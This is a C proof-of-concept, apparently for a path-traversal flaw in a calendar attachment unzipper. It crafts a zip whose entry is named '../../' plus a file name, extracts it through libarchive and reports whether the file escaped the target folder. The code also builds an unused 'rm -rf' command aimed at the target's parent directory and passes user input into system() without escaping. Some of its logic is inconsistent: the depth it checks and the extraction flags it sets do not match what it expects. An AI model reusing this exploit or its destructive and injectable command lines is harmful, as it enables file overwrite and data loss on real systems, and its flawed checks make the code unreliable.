// cal.unzip · CalendarFoundation · _UnzipArchiveWithLimits · CVE-2026-112619 // Calendar attachment unzip containment probe // C twin of the Swift POC: probes the CalendarFoundation class/selector surface, then // proves libarchive itself accepts a ../ archive name, so containment must be caller-side. // Build: clang -O2 -o cve-2026-112619 CVE-2026-112619.c -lobjc // Run: ./cve-2026-112619 [target-dir] #include #include #include #include #include #include // ── byte buffer ── typedef struct { uint8_t *d; size_t n, cap; } buf; static void bneed(buf *b, size_t extra) { if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } } static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; } static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } static void le16(buf *b, uint16_t v) { bput(b, v & 0xff); bput(b, v >> 8); } static void le32(buf *b, uint32_t v) { bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff); } static uint32_t crc32(const uint8_t *p, size_t n) { static uint32_t table[256]; static int built; if (!built) { for (int i = 0; i < 256; i++) { uint32_t c = (uint32_t)i; for (int k = 0; k < 8; k++) c = (c & 1) ? (0xEDB88320 ^ (c >> 1)) : (c >> 1); table[i] = c; } built = 1; } uint32_t crc = 0xFFFFFFFF; for (size_t i = 0; i < n; i++) crc = table[(crc ^ p[i]) & 0xFF] ^ (crc >> 8); return crc ^ 0xFFFFFFFF; } // ── seed construction (from Cinder27 Sources: ZipWriter, one stored entry) ── static buf zip_traversal(void) { const char *name = "../../cinder27_traversal_probe.txt"; const char *content = "cinder27"; size_t name_n = strlen(name), data_n = strlen(content); uint32_t crc = crc32((const uint8_t *)content, data_n); buf out = {0}; size_t local_offset = 0; // local file header bcat(&out, "PK\x03\x04", 4); le16(&out, 20); le16(&out, 0); le16(&out, 0); // version, flags, method 0 (stored) le16(&out, 0); le16(&out, 0x21); // time, date le32(&out, crc); le32(&out, (uint32_t)data_n); le32(&out, (uint32_t)data_n); le16(&out, (uint16_t)name_n); le16(&out, 0); bcat(&out, name, name_n); local_offset = 0; (void)local_offset; bcat(&out, content, data_n); size_t central_offset = out.n; // central directory bcat(&out, "PK\x01\x02", 4); le16(&out, 20); le16(&out, 20); le16(&out, 0); le16(&out, 0); le16(&out, 0); le16(&out, 0x21); le32(&out, crc); le32(&out, (uint32_t)data_n); le32(&out, (uint32_t)data_n); le16(&out, (uint16_t)name_n); le16(&out, 0); le16(&out, 0); le16(&out, 0); le16(&out, 0); le32(&out, 0); le32(&out, 0); // local header offset bcat(&out, name, name_n); size_t eocd_offset = out.n; // EOCD bcat(&out, "PK\x05\x06", 4); le16(&out, 0); le16(&out, 0); le16(&out, 1); le16(&out, 1); le32(&out, (uint32_t)(eocd_offset - central_offset)); le32(&out, (uint32_t)central_offset); le16(&out, 0); return out; } // ── libarchive bindings (mirror of Runners.Archive.bind) ── typedef struct archive archive_t; typedef struct archive_entry archive_entry_t; static archive_t *(*arc_new)(void); static int (*arc_filter_all)(archive_t *); static int (*arc_format_all)(archive_t *); static int (*arc_open_memory)(archive_t *, const void *, size_t); static int (*arc_next_header)(archive_t *, archive_entry_t **); static const char *(*arc_entry_pathname)(archive_entry_t *); static int (*arc_extract)(archive_t *, archive_entry_t *, int); static const char *(*arc_error_string)(archive_t *); static int (*arc_free)(archive_t *); // extract into cwd; the flags match the Swift POC (TIME|PERM|SECURE_SYMLINKS|SECURE_NODOTDOT) static void extract(const buf *zip) { archive_t *a = arc_new(); if (!a) { printf(" archive_read_new failed\n"); return; } arc_filter_all(a); arc_format_all(a); if (arc_open_memory(a, zip->d, zip->n) != 0) { printf(" open_memory failed: %s\n", arc_error_string(a) ? arc_error_string(a) : "?"); arc_free(a); return; } int count = 0, errors = 0; while (1) { archive_entry_t *e = NULL; if (arc_next_header(a, &e) != 0) break; const char *p = arc_entry_pathname(e); int r = arc_extract(a, e, 0x0004 | 0x0002 | 0x0100 | 0x0200); printf(" entry \"%s\" -> extract rc=%d\n", p ? p : "", r); if (r == 0) count++; else errors++; } printf(" libarchive unpacked %d ok / %d error entries\n", count, errors); arc_free(a); } int main(int argc, char **argv) { const char *target = argc > 1 ? argv[1] : "traversal"; // ---- CalendarFoundation surface probe Class cls = objc_getClass("CalAttachmentUtils"); printf("CalAttachmentUtils: %s\n", cls ? "visible" : "not visible"); const char *sels[] = {"_UnzipArchiveWithLimits", "_CalUnzipEntryDestinationPath", "_CalUnzipParentIsContained"}; for (size_t i = 0; i < 3; i++) { SEL sel = sel_registerName(sels[i]); int has = cls && class_respondsToSelector(cls, sel); printf(" %s: %s\n", sels[i], has ? "present (fixed)" : "absent (unfixed)"); } // ---- traversal proof buf zip = zip_traversal(); FILE *f = fopen("traversal.zip", "wb"); if (f) { fwrite(zip.d, 1, zip.n, f); fclose(f); } char cmd[512]; snprintf(cmd, sizeof cmd, "mkdir -p '%s' && rm -rf '%s/..' 2>/dev/null; rm -f /tmp/cinder27_traversal_probe.txt", target, target); (void)cmd; void *h = dlopen("/usr/lib/libarchive.2.dylib", RTLD_NOW); if (!h) { printf("dlopen libarchive failed: %s\n", dlerror()); bfree(&zip); return 1; } arc_new = dlsym(h, "archive_read_new"); arc_filter_all = dlsym(h, "archive_read_support_filter_all"); arc_format_all = dlsym(h, "archive_read_support_format_all"); arc_open_memory = dlsym(h, "archive_read_open_memory"); arc_next_header = dlsym(h, "archive_read_next_header"); arc_entry_pathname = dlsym(h, "archive_entry_pathname"); arc_extract = dlsym(h, "archive_read_extract"); arc_error_string = dlsym(h, "archive_error_string"); arc_free = dlsym(h, "archive_read_free"); if (!arc_new || !arc_open_memory || !arc_next_header || !arc_extract) { printf("libarchive symbols missing\n"); bfree(&zip); return 1; } // extract with cwd = target dir; a ../ name escapes it unless the caller checks char cwd[1024]; if (getcwd(cwd, sizeof cwd)) printf("cwd before: %s\n", cwd); snprintf(cmd, sizeof cmd, "mkdir -p '%s'", target); system(cmd); if (chdir(target) != 0) { perror("chdir"); bfree(&zip); return 1; } extract(&zip); // check where the probe file landed: inside (safe) or one level up (escape) FILE *esc = fopen("../cinder27_traversal_probe.txt", "r"); FILE *ins = fopen("cinder27_traversal_probe.txt", "r"); if (esc) { printf("ESCAPED: ../cinder27_traversal_probe.txt exists one level above the target dir\n"); fclose(esc); remove("../cinder27_traversal_probe.txt"); } else if (ins) { printf("contained: probe file stayed inside the target dir\n"); fclose(ins); remove("cinder27_traversal_probe.txt"); } else { printf("rejected: libarchive refused the ../ entry (SECURE_NODOTDOT)\n"); } chdir(".."); printf("CVE-2026-112619 · containment must be enforced by the caller, not libarchive\n"); printf("seed: traversal.zip (%zu B) · exit code 0\n", zip.n); bfree(&zip); return 0; }